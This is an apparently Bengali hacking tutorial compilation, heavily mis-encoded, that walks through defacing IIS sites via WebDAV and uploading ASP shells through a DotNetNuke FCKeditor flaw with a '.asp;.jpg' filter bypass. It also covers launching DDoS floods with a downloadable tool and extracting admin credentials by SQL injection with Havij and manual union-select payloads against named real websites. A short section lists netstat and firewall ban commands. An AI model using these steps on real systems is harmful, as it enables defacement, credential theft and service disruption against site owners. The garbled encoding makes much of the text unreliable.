াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

